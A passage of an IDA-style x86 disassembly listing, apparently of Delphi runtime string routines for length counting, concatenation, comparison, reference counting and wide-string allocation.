jz short loc_40004AD2
cmp cx, [edx+6]
jz short loc_40004ACF
add edx, 8
jmp short loc_40004AB3
; ---------------------------------------------------------------------------
loc_40004ACF: ; CODE XREF: sub_40004AAC+1Cj
add edx, 2
loc_40004AD2: ; CODE XREF: sub_40004AAC+16j
add edx, 2
loc_40004AD5: ; CODE XREF: sub_40004AAC+10j
add edx, 2
loc_40004AD8: ; CODE XREF: sub_40004AAC+Aj
mov ecx, edx
pop edx
sub ecx, edx
shr ecx, 1
loc_40004ADF: ; CODE XREF: sub_40004AAC+4j
jmp sub_400049E0
sub_40004AAC endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004AE8 proc near ; CODE XREF: sub_4001293C+B8p
; sub_40013B54+3Cp ...
xor ecx, ecx
mov cl, [edx]
inc edx
jmp sub_40004974
sub_40004AE8 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004AF4 proc near ; CODE XREF: sub_40009414+98p
; sub_40009590+A2p ...
push edi
push eax
push ecx
mov edi, edx
xor eax, eax
repne scasb
jnz short loc_40004B01
not ecx
loc_40004B01: ; CODE XREF: sub_40004AF4+9j
pop eax
add ecx, eax
pop eax
pop edi
jmp sub_40004974
sub_40004AF4 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40004B0C proc near ; CODE XREF: sub_4000CE4C+2Ap
; sub_4000CEB8+2Ap ...
xor ecx, ecx
test edx, edx
jz short loc_40004B17
mov ecx, [edx-4]
shr ecx, 1
loc_40004B17: ; CODE XREF: sub_40004B0C+4j
jmp sub_400049E0
sub_40004B0C endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40004B20 proc near ; CODE XREF: .text:40015A32p
push ebx
test edx, edx
jz short loc_40004B3D
mov ebx, [edx-4]
test ebx, ebx
jz short loc_40004B3D
cmp ecx, ebx
jl short loc_40004B32
mov ecx, ebx
loc_40004B32: ; CODE XREF: sub_40004B20+Ej
mov [eax], cl
inc eax
xchg eax, edx
call sub_40002DFC
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40004B3D: ; CODE XREF: sub_40004B20+3j
; sub_40004B20+Aj
mov byte ptr [eax], 0
pop ebx
retn
sub_40004B20 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004B44 proc near ; CODE XREF: sub_40003328+3Ep
; sub_40003328+56p ...
test eax, eax
jz short locret_40004B4D
sub eax, 4
mov eax, [eax]
locret_40004B4D: ; CODE XREF: sub_40004B44+2j
retn
sub_40004B44 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40004B50 proc near ; CODE XREF: sub_40004B94+1Dj
; sub_40004B94+6Ej ...
test edx, edx
jz short locret_40004B93
mov ecx, [eax]
test ecx, ecx
jz sub_400048D8
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, [ecx-4]
mov edx, [esi-4]
add edx, edi
cmp esi, ecx
jz short loc_40004B88
call sub_40004F74
mov eax, esi
mov ecx, [esi-4]
loc_40004B7B: ; CODE XREF: sub_40004B50+41j
mov edx, [ebx]
add edx, edi
call sub_40002DFC
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40004B88: ; CODE XREF: sub_40004B50+1Fj
call sub_40004F74
mov eax, [ebx]
mov ecx, edi
jmp short loc_40004B7B
; ---------------------------------------------------------------------------
locret_40004B93: ; CODE XREF: sub_40004B50+2j
retn
sub_40004B50 endp
; =============== S U B R O U T I N E =======================================
sub_40004B94 proc near ; CODE XREF: sub_4001293C+E2p
; sub_4001293C+F5p ...
test edx, edx
jz short loc_40004BF9
test ecx, ecx
jz sub_400048D8
cmp edx, [eax]
jz short loc_40004C00
cmp ecx, [eax]
jz short loc_40004BB6
push eax
push ecx
call sub_400048D8
pop edx
pop eax
jmp sub_40004B50
; ---------------------------------------------------------------------------
loc_40004BB6: ; CODE XREF: sub_40004B94+12j
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
push eax
mov eax, [ebx-4]
add eax, [esi-4]
call sub_40004948
mov edi, eax
mov edx, eax
mov eax, ebx
mov ecx, [ebx-4]
call sub_40002DFC
mov edx, edi
mov eax, esi
mov ecx, [esi-4]
add edx, [ebx-4]
call sub_40002DFC
pop eax
mov edx, edi
test edi, edi
jz short loc_40004BF0
dec dword ptr [edi-8]
loc_40004BF0: ; CODE XREF: sub_40004B94+57j
call sub_400048D8
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40004BF9: ; CODE XREF: sub_40004B94+2j
mov edx, ecx
jmp sub_400048D8
; ---------------------------------------------------------------------------
loc_40004C00: ; CODE XREF: sub_40004B94+Ej
mov edx, ecx
jmp sub_40004B50
sub_40004B94 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40004C08 proc near ; CODE XREF: sub_4000BE64+27Bp
; sub_4000BE64+298p ...
var_14 = dword ptr -14h
push ebx
push esi
push edi
push edx
push eax
mov ebx, edx
xor edi, edi
mov ecx, [esp+edx*4+14h]
test ecx, ecx
jz short loc_40004C25
cmp [eax], ecx
jnz short loc_40004C25
mov edi, ecx
mov eax, [ecx-4]
dec edx
jmp short loc_40004C27
; ---------------------------------------------------------------------------
loc_40004C25: ; CODE XREF: sub_40004C08+Fj
; sub_40004C08+13j
xor eax, eax
loc_40004C27: ; CODE XREF: sub_40004C08+1Bj
; sub_40004C08+31j
mov ecx, [esp+edx*4+14h]
test ecx, ecx
jz short loc_40004C38
add eax, [ecx-4]
cmp edi, ecx
jnz short loc_40004C38
xor edi, edi
loc_40004C38: ; CODE XREF: sub_40004C08+25j
; sub_40004C08+2Cj
dec edx
jnz short loc_40004C27
test edi, edi
jz short loc_40004C56
mov edx, eax
mov eax, [esp+14h+var_14]
mov esi, [edi-4]
call sub_40004F74
mov edi, [esp+14h+var_14]
push dword ptr [edi]
add esi, [edi]
dec ebx
jmp short loc_40004C5E
; ---------------------------------------------------------------------------
loc_40004C56: ; CODE XREF: sub_40004C08+35j
call sub_40004948
push eax
mov esi, eax
loc_40004C5E: ; CODE XREF: sub_40004C08+4Cj
; sub_40004C08+6Bj
mov eax, [esp+ebx*4+18h]
mov edx, esi
test eax, eax
jz short loc_40004C72
mov ecx, [eax-4]
add esi, ecx
call sub_40002DFC
loc_40004C72: ; CODE XREF: sub_40004C08+5Ej
dec ebx
jnz short loc_40004C5E
pop edx
pop eax
test edi, edi
jnz short loc_40004C87
test edx, edx
jz short loc_40004C82
dec dword ptr [edx-8]
loc_40004C82: ; CODE XREF: sub_40004C08+75j
call sub_400048D8
loc_40004C87: ; CODE XREF: sub_40004C08+71j
pop edx
pop edi
pop esi
pop ebx
pop eax
lea esp, [esp+edx*4]
jmp eax
sub_40004C08 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004C94 proc near ; CODE XREF: sub_40017944+4Cp
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
cmp eax, edx
jz loc_40004D32
test esi, esi
jz short loc_40004D0F
test edi, edi
jz short loc_40004D16
mov eax, [esi-4]
mov edx, [edi-4]
sub eax, edx
ja short loc_40004CB7
add edx, eax
loc_40004CB7: ; CODE XREF: sub_40004C94+1Fj
push edx
shr edx, 2
jz short loc_40004CE3
loc_40004CBD: ; CODE XREF: sub_40004C94+45j
mov ecx, [esi]
mov ebx, [edi]
cmp ecx, ebx
jnz short loc_40004D1D
dec edx
jz short loc_40004CDD
mov ecx, [esi+4]
mov ebx, [edi+4]
cmp ecx, ebx
jnz short loc_40004D1D
add esi, 8
add edi, 8
dec edx
jnz short loc_40004CBD
jmp short loc_40004CE3
; ---------------------------------------------------------------------------
loc_40004CDD: ; CODE XREF: sub_40004C94+32j
add esi, 4
add edi, 4
loc_40004CE3: ; CODE XREF: sub_40004C94+27j
; sub_40004C94+47j
pop edx
and edx, 3
jz short loc_40004D0B
mov ecx, [esi]
mov ebx, [edi]
cmp cl, bl
jnz short loc_40004D32
dec edx
jz short loc_40004D0B
cmp ch, bh
jnz short loc_40004D32
dec edx
jz short loc_40004D0B
and ebx, 0FF0000h
and ecx, 0FF0000h
cmp ecx, ebx
jnz short loc_40004D32
loc_40004D0B: ; CODE XREF: sub_40004C94+53j
; sub_40004C94+5Ej ...
add eax, eax
jmp short loc_40004D32
; ---------------------------------------------------------------------------
loc_40004D0F: ; CODE XREF: sub_40004C94+11j
mov edx, [edi-4]
sub eax, edx
jmp short loc_40004D32
; ---------------------------------------------------------------------------
loc_40004D16: ; CODE XREF: sub_40004C94+15j
mov eax, [esi-4]
sub eax, edx
jmp short loc_40004D32
; ---------------------------------------------------------------------------
loc_40004D1D: ; CODE XREF: sub_40004C94+2Fj
; sub_40004C94+3Cj
pop edx
cmp cl, bl
jnz short loc_40004D32
cmp ch, bh
jnz short loc_40004D32
shr ecx, 10h
shr ebx, 10h
cmp cl, bl
jnz short loc_40004D32
cmp ch, bh
loc_40004D32: ; CODE XREF: sub_40004C94+9j
; sub_40004C94+5Bj ...
pop edi
pop esi
pop ebx
retn
sub_40004C94 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004D38 proc near ; CODE XREF: sub_4000679C+Dp
; sub_4000684C+Dp ...
test eax, eax
jz short locret_40004D46
mov edx, [eax-8]
inc edx
jle short locret_40004D46
lock inc dword ptr [eax-8]
locret_40004D46: ; CODE XREF: sub_40004D38+2j
; sub_40004D38+8j
retn
sub_40004D38 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004D48 proc near ; CODE XREF: sub_40003328+46p
; sub_40007BB4+21p ...
test eax, eax
jz short loc_40004D4E
retn
; ---------------------------------------------------------------------------
byte_40004D4D db 0 ; DATA XREF: sub_40004D48:loc_40004D4Eo
; ---------------------------------------------------------------------------
loc_40004D4E: ; CODE XREF: sub_40004D48+2j
mov eax, offset byte_40004D4D
retn
sub_40004D48 endp
; =============== S U B R O U T I N E =======================================
sub_40004D54 proc near ; CODE XREF: sub_40004D98j
; sub_40004DA0j
mov edx, [eax]
test edx, edx
jz short loc_40004D92
mov ecx, [edx-8]
dec ecx
jz short loc_40004D92
push ebx
mov ebx, eax
mov eax, [edx-4]
call sub_40004948
mov edx, eax
mov eax, [ebx]
mov [ebx], edx
push eax
mov ecx, [eax-4]
call sub_40002DFC
pop eax
mov ecx, [eax-8]
dec ecx
jl short loc_40004D8F
lock dec dword ptr [eax-8]
jnz short loc_40004D8F
lea eax, [eax-8]
call sub_40002C3C
loc_40004D8F: ; CODE XREF: sub_40004D54+2Bj
; sub_40004D54+31j
mov edx, [ebx]
pop ebx
loc_40004D92: ; CODE XREF: sub_40004D54+4j
; sub_40004D54+Aj
mov eax, edx
retn
sub_40004D54 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40004D98 proc near ; CODE XREF: sub_40004DE8+9p
jmp sub_40004D54
sub_40004D98 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40004DA0 proc near ; CODE XREF: sub_40006958+7Ap
; sub_40016B44+34p ...
jmp sub_40004D54
sub_40004DA0 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004DA8 proc near ; CODE XREF: sub_40007BF8+47p
; sub_400080B0+20p ...
arg_0 = dword ptr 4
push ebx
test eax, eax
jz short loc_40004DDA
mov ebx, [eax-4]
test ebx, ebx
jz short loc_40004DDA
dec edx
jl short loc_40004DD2
cmp edx, ebx
jge short loc_40004DDA
loc_40004DBB: ; CODE XREF: sub_40004DA8+2Cj
sub ebx, edx
test ecx, ecx
jl short loc_40004DDA
cmp ecx, ebx
jg short loc_40004DD6
loc_40004DC5: ; CODE XREF: sub_40004DA8+30j
add edx, eax
mov eax, [esp+4+arg_0]
call sub_40004974
jmp short loc_40004DE3
; ---------------------------------------------------------------------------
loc_40004DD2: ; CODE XREF: sub_40004DA8+Dj
xor edx, edx
jmp short loc_40004DBB
; ---------------------------------------------------------------------------
loc_40004DD6: ; CODE XREF: sub_40004DA8+1Bj
mov ecx, ebx
jmp short loc_40004DC5
; ---------------------------------------------------------------------------
loc_40004DDA: ; CODE XREF: sub_40004DA8+3j
; sub_40004DA8+Aj ...
mov eax, [esp+4+arg_0]
call sub_40004884
loc_40004DE3: ; CODE XREF: sub_40004DA8+28j
pop ebx
retn 4
sub_40004DA8 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40004DE8 proc near ; CODE XREF: sub_40014250+47p
; sub_40014374+44p ...
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
call sub_40004D98
mov edx, [ebx]
test edx, edx
jz short loc_40004E2C
mov ecx, [edx-4]
dec esi
jl short loc_40004E2C
cmp esi, ecx
jge short loc_40004E2C
test edi, edi
jle short loc_40004E2C
sub ecx, esi
cmp edi, ecx
jle short loc_40004E12
mov edi, ecx
loc_40004E12: ; CODE XREF: sub_40004DE8+26j
sub ecx, edi
add edx, esi
lea eax, [edi+edx]
call sub_40002DFC
mov edx, [ebx]
mov eax, ebx
mov edx, [edx-4]
sub edx, edi
call sub_40004F74
loc_40004E2C: ; CODE XREF: sub_40004DE8+12j
; sub_40004DE8+18j ...
pop edi
pop esi
pop ebx
retn
sub_40004DE8 endp
; =============== S U B R O U T I N E =======================================
sub_40004E30 proc near ; CODE XREF: sub_4000A1CC+240p
; sub_40016D80+3Dp ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
push ebx
push esi
add esp, 0FFFFFFF0h
test edx, edx
jz short loc_40004E87
test eax, eax
jz short loc_40004E87
mov esi, [edx-4]
mov ebx, [eax-4]
cmp esi, ebx
jl short loc_40004E87
test ebx, ebx
jle short loc_40004E87
dec ebx
add esi, edx
add edx, ebx
mov [esp+18h+var_10], esi
add eax, ebx
mov [esp+18h+var_14], edx
neg ebx
movzx ecx, byte ptr [eax]
mov [esp+18h+var_18], ebx
jnz loc_40004F01
sub esi, 2
mov [esp+18h+var_C], esi
loc_40004E6F: ; CODE XREF: sub_40004E30+55j
; sub_40004E30+7Bj
cmp cl, [edx]
jz short loc_40004EB4
cmp cl, [edx+1]
jz short loc_40004EC4
add edx, 2
cmp edx, [esp+18h+var_C]
jb short loc_40004E8B
cmp edx, [esp+18h+var_10]
jb short loc_40004E6F
loc_40004E87: ; CODE XREF: sub_40004E30+7j
; sub_40004E30+Bj ...
xor eax, eax
jmp short loc_40004EBB
; ---------------------------------------------------------------------------
loc_40004E8B: ; CODE XREF: sub_40004E30+4Fj
; sub_40004E30+75j
cmp cl, [edx]
jz short loc_40004EB4
cmp cl, [edx+1]
jz short loc_40004EC4
cmp cl, [edx+2]
jz short loc_40004EB1
cmp cl, [edx+3]
jz short loc_40004EC1
add edx, 4
cmp edx, [esp+18h+var_C]
jb short loc_40004E8B
cmp edx, [esp+18h+var_10]
jb short loc_40004E6F
xor eax, eax
jmp short loc_40004EBB
; ---------------------------------------------------------------------------
loc_40004EB1: ; CODE XREF: sub_40004E30+67j
add edx, 2
loc_40004EB4: ; CODE XREF: sub_40004E30+41j
; sub_40004E30+5Dj
inc edx
mov eax, edx
sub eax, [esp+18h+var_14]
loc_40004EBB: ; CODE XREF: sub_40004E30+59j
; sub_40004E30+7Fj
add esp, 10h
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40004EC1: ; CODE XREF: sub_40004E30+6Cj
add edx, 2
loc_40004EC4: ; CODE XREF: sub_40004E30+46j
; sub_40004E30+62j
add edx, 2
xor eax, eax
cmp edx, [esp+18h+var_10]
ja short loc_40004ED5
mov eax, edx
sub eax, [esp+18h+var_14]
loc_40004ED5: ; CODE XREF: sub_40004E30+9Dj
add esp, 10h
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40004EDB: ; CODE XREF: sub_40004E30+C5j
; sub_40004E30+E8j
cmp cl, [edx]
jz short loc_40004F54
cmp cl, [edx+1]
jz short loc_40004F27
cmp cl, [edx+2]
jz short loc_40004F51
cmp cl, [edx+3]
jz short loc_40004F24
add edx, 4
cmp edx, [esp+18h+var_C]
jb short loc_40004EDB
cmp edx, [esp+18h+var_10]
jb short loc_40004F08
xor eax, eax
jmp short loc_40004F4B
; ---------------------------------------------------------------------------
loc_40004F01: ; CODE XREF: sub_40004E30+32j
sub esi, 2
mov [esp+18h+var_C], esi
loc_40004F08: ; CODE XREF: sub_40004E30+CBj
; sub_40004E30+EEj
cmp cl, [edx]
jz short loc_40004F54
loc_40004F0C: ; CODE XREF: sub_40004E30+12Fj
cmp cl, [edx+1]
jz short loc_40004F27
loc_40004F11: ; CODE XREF: sub_40004E30+103j
add edx, 2
cmp edx, [esp+18h+var_C]
jb short loc_40004EDB
cmp edx, [esp+18h+var_10]
jb short loc_40004F08
xor eax, eax
jmp short loc_40004F4B
; ---------------------------------------------------------------------------
loc_40004F24: ; CODE XREF: sub_40004E30+BCj
add edx, 2
loc_40004F27: ; CODE XREF: sub_40004E30+B2j
; sub_40004E30+DFj
mov esi, [esp+18h+var_18]
loc_40004F2A: ; CODE XREF: sub_40004E30+108j
movzx ebx, word ptr [eax+esi]
cmp bx, [edx+esi+1]
jnz short loc_40004F11
add esi, 2
jl short loc_40004F2A
add edx, 2
xor eax, eax
cmp edx, [esp+18h+var_10]
ja short loc_40004F4B
mov eax, edx
sub eax, [esp+18h+var_14]
loc_40004F4B: ; CODE XREF: sub_40004E30+CFj
; sub_40004E30+F2j ...
add esp, 10h
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40004F51: ; CODE XREF: sub_40004E30+B7j
add edx, 2
loc_40004F54: ; CODE XREF: sub_40004E30+ADj
; sub_40004E30+DAj
mov esi, [esp+18h+var_18]
loc_40004F57: ; CODE XREF: sub_40004E30+134j
movzx ebx, word ptr [eax+esi]
cmp bx, [edx+esi]
jnz short loc_40004F0C
add esi, 2
jl short loc_40004F57
inc edx
mov eax, edx
sub eax, [esp+18h+var_14]
add esp, 10h
pop esi
pop ebx
retn
sub_40004E30 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004F74 proc near ; CODE XREF: sub_40002EFC+85p
; sub_400049E0+5Dp ...
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
xor edi, edi
test edx, edx
jle short loc_40004FC9
mov eax, [ebx]
test eax, eax
jz short loc_40004FAA
cmp dword ptr [eax-8], 1
jnz short loc_40004FAA
sub eax, 8
add edx, 9
push eax
mov eax, esp
call sub_40002C54
pop eax
add eax, 8
mov [ebx], eax
mov [eax-4], esi
mov byte ptr [esi+eax], 0
jmp short loc_40004FD2
; ---------------------------------------------------------------------------
loc_40004FAA: ; CODE XREF: sub_40004F74+11j
; sub_40004F74+17j
mov eax, edx
call sub_40004948
mov edi, eax
mov eax, [ebx]
test eax, eax
jz short loc_40004FC9
mov edx, edi
mov ecx, [eax-4]
cmp ecx, esi
jl short loc_40004FC4
mov ecx, esi
loc_40004FC4: ; CODE XREF: sub_40004F74+4Cj
call sub_40002DFC
loc_40004FC9: ; CODE XREF: sub_40004F74+Bj
; sub_40004F74+43j
mov eax, ebx
call sub_40004884
mov [ebx], edi
loc_40004FD2: ; CODE XREF: sub_40004F74+34j
pop edi
pop esi
pop ebx
retn
sub_40004F74 endp
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_40004FE0
loc_40004FD8: ; CODE XREF: sub_40004FE0+Ej
; sub_40005044+21j ...
mov al, 1
jmp sub_40002D50
; END OF FUNCTION CHUNK FOR sub_40004FE0
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40004FE0 proc near ; CODE XREF: sub_400051C0+Fp
; FUNCTION CHUNK AT 40004FD8 SIZE 00000007 BYTES
test eax, eax
jz short locret_40004FF4
push eax
push 0
call sub_40001260
test eax, eax
jz loc_40004FD8
locret_40004FF4: ; CODE XREF: sub_40004FE0+2j
retn
sub_40004FE0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004FF8 proc near ; CODE XREF: sub_400051C0+38p
xchg edx, [eax]
test edx, edx
jz short locret_40005004
push edx
call sub_40001270
locret_40005004: ; CODE XREF: sub_40004FF8+4j
retn
sub_40004FF8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005008 proc near ; CODE XREF: sub_40005044+6j
; sub_40005044+11j ...
mov edx, [eax]
test edx, edx
jz short locret_4000501C
mov dword ptr [eax], 0
push eax
push edx
call sub_40001270
pop eax
locret_4000501C: ; CODE XREF: sub_40005008+4j
retn
sub_40005008 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40005020 proc near ; CODE XREF: sub_40005314+70p
; sub_40011524+B9p ...
push ebx
push esi
mov ebx, eax
mov esi, edx
loc_40005026: ; CODE XREF: sub_40005020+1Cj
mov eax, [ebx]
test eax, eax
jz short loc_40005038
mov dword ptr [ebx], 0
push eax
call sub_40001270
loc_40005038: ; CODE XREF: sub_40005020+Aj
add ebx, 4
dec esi
jnz short loc_40005026
pop esi
pop ebx
retn
sub_40005020 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005044 proc near ; CODE XREF: sub_40005424+81p
; sub_40005540+61p ...
cmp [eax], edx
jz short locret_4000506B
test edx, edx
jz sub_40005008
mov ecx, [edx-4]
shr ecx, 1
jz sub_40005008
push ecx
push edx
push eax
call sub_40001268
test eax, eax
jz loc_40004FD8
locret_4000506B: ; CODE XREF: sub_40005044+2j
retn
sub_40005044 endp
; =============== S U B R O U T I N E =======================================
sub_4000506C proc near ; CODE XREF: sub_40005158:loc_40005161j
; sub_40005674+16p
var_1014 = dword ptr -1014h
var_1010 = byte ptr -1010h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFF004h
push eax
add esp, 0FFFFFFFCh
mov esi, ecx
mov [esp+1014h+var_1014], edx
mov edi, eax
test esi, esi
jg short loc_4000508E
mov eax, edi
call sub_40005008
jmp short loc_400050EB
; ---------------------------------------------------------------------------
loc_4000508E: ; CODE XREF: sub_4000506C+17j
lea ebp, [esi+1]
cmp ebp, 7FFh
jge short loc_400050C1
push esi
lea eax, [esp+1018h+var_1010]
mov ecx, [esp+1018h+var_1014]
mov edx, 7FFh
call sub_400049C4
mov ebx, eax
test ebx, ebx
jle short loc_400050C1
lea edx, [esp+1014h+var_1010]
mov eax, edi
mov ecx, ebx
call sub_400050F8
jmp short loc_400050EB
; ---------------------------------------------------------------------------
loc_400050C1: ; CODE XREF: sub_4000506C+2Bj
; sub_4000506C+44j
mov ebx, ebp
mov eax, edi
mov edx, ebx
call sub_400051C0
push esi
mov eax, [edi]
mov ecx, [esp+1018h+var_1014]
mov edx, ebx
call sub_400049C4
mov ebx, eax
test ebx, ebx
jge short loc_400050E2
xor ebx, ebx
loc_400050E2: ; CODE XREF: sub_4000506C+72j
mov eax, edi
mov edx, ebx
call sub_400051C0
loc_400050EB: ; CODE XREF: sub_4000506C+20j
; sub_4000506C+53j
add esp, 1004h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4000506C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400050F8 proc near ; CODE XREF: sub_4000506C+4Ep
; sub_4000511C:loc_4000514Fj ...
test ecx, ecx
jz sub_40005008
push eax
push ecx
push edx
call sub_40001260
test eax, eax
jz loc_40004FD8
pop edx
push dword ptr [edx]
mov [edx], eax
call sub_40001270
retn
sub_400050F8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000511C proc near ; CODE XREF: sub_40011524+66p
; sub_40011C18+60p ...
xor ecx, ecx
test edx, edx
jz short loc_4000514F
push edx
loc_40005123: ; CODE XREF: sub_4000511C+21j
cmp cx, [edx]
jz short loc_40005148
cmp cx, [edx+2]
jz short loc_40005145
cmp cx, [edx+4]
jz short loc_40005142
cmp cx, [edx+6]
jz short loc_4000513F
add edx, 8
jmp short loc_40005123
; ---------------------------------------------------------------------------
loc_4000513F: ; CODE XREF: sub_4000511C+1Cj
add edx, 2
loc_40005142: ; CODE XREF: sub_4000511C+16j
add edx, 2
loc_40005145: ; CODE XREF: sub_4000511C+10j
add edx, 2
loc_40005148: ; CODE XREF: sub_4000511C+Aj
mov ecx, edx
pop edx
sub ecx, edx
shr ecx, 1
loc_4000514F: ; CODE XREF: sub_4000511C+4j
jmp sub_400050F8
sub_4000511C endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005158 proc near ; CODE XREF: sub_4000D0E8+43p
; sub_4000D158+45p ...
xor ecx, ecx
test edx, edx
jz short loc_40005161
mov ecx, [edx-4]
loc_40005161: ; CODE XREF: sub_40005158+4j
jmp sub_4000506C
sub_40005158 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005168 proc near ; CODE XREF: sub_40005174+Ep
; sub_400051C0+18p ...
test eax, eax
jz short locret_40005171
mov eax, [eax-4]
shr eax, 1
locret_40005171: ; CODE XREF: sub_40005168+2j
retn
sub_40005168 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40005174 proc near ; CODE XREF: sub_40011524+78p
; sub_400116DC+184p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov esi, eax
mov eax, esi
call sub_40005168
cmp ebx, 1
jge short loc_40005190
xor ebx, ebx
jmp short loc_40005197
; ---------------------------------------------------------------------------
loc_40005190: ; CODE XREF: sub_40005174+16j
dec ebx
cmp eax, ebx
jge short loc_40005197
mov ebx, eax
loc_40005197: ; CODE XREF: sub_40005174+1Aj
; sub_40005174+1Fj
test edi, edi
jge short loc_4000519F
xor eax, eax
jmp short loc_400051A7
; ---------------------------------------------------------------------------
loc_4000519F: ; CODE XREF: sub_40005174+25j
sub eax, ebx
cmp edi, eax
jge short loc_400051A7
mov eax, edi
loc_400051A7: ; CODE XREF: sub_40005174+29j
; sub_40005174+2Fj
mov edx, ebx
add edx, edx
add edx, esi
mov ecx, [ebp+arg_0]
xchg eax, ecx
call sub_400050F8
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_40005174 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400051C0 proc near ; CODE XREF: sub_4000506C+5Bp
; sub_4000506C+7Ap
push ebx
push esi
push edi
mov esi, edx
mov edi, eax
xor ebx, ebx
test esi, esi
jle short loc_400051F4
mov eax, esi
call sub_40004FE0
mov ebx, eax
mov eax, [edi]
call sub_40005168
test eax, eax
jle short loc_400051F4
cmp esi, eax
jge short loc_400051E7
mov eax, esi
loc_400051E7: ; CODE XREF: sub_400051C0+23j
mov ecx, eax
add ecx, ecx
mov edx, ebx
mov eax, [edi]
call sub_40002DFC
loc_400051F4: ; CODE XREF: sub_400051C0+Bj
; sub_400051C0+1Fj
mov eax, edi
mov edx, ebx
call sub_40004FF8
pop edi
pop esi
pop ebx
retn
sub_400051C0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005204 proc near ; CODE XREF: sub_40005234+86p
; sub_40016280+1Dp
xor ecx, ecx
push ebx
mov cl, [edx+1]
push esi
push edi
mov ebx, eax
lea esi, [ecx+edx+0Ah]
mov edi, [ecx+edx+6]
loc_40005216: ; CODE XREF: sub_40005204+29j
mov edx, [esi]
mov eax, [esi+4]
add eax, ebx
mov edx, [edx]
mov ecx, 1
call sub_40005234
add esi, 8
dec edi
jg short loc_40005216
pop edi
pop esi
pop ebx
retn
sub_40005204 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40005234 proc near ; CODE XREF: sub_40005204+20p
; sub_40005234+70p
test ecx, ecx
jz locret_400052C6
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
xor edx, edx
mov al, [esi]
mov dl, [esi+1]
xor ecx, ecx
cmp al, 0Ah
jz short loc_40005274
cmp al, 0Bh
jz short loc_40005274
cmp al, 0Ch
jz short loc_4000527E
cmp al, 0Dh
jz short loc_40005291
cmp al, 0Eh
jz short loc_400052AF
cmp al, 0Fh
jz short loc_40005274
cmp al, 11h
jz short loc_40005274
mov al, 2
pop edi
pop esi
pop ebx
jmp sub_40002D50
; ---------------------------------------------------------------------------
loc_40005274: ; CODE XREF: sub_40005234+1Cj
; sub_40005234+20j ...
mov [ebx], ecx
add ebx, 4
dec edi
jg short loc_40005274
jmp short loc_400052C3
; ---------------------------------------------------------------------------
loc_4000527E: ; CODE XREF: sub_40005234+24j
; sub_40005234+59j
mov [ebx], ecx
mov [ebx+4], ecx
mov [ebx+8], ecx
mov [ebx+0Ch], ecx
add ebx, 10h
dec edi
jg short loc_4000527E
jmp short loc_400052C3
; ---------------------------------------------------------------------------
loc_40005291: ; CODE XREF: sub_40005234+28j
push ebp
mov ebp, edx
loc_40005294: ; CODE XREF: sub_40005234+76j
mov edx, [esi+ebp+0Ah]
mov eax, ebx
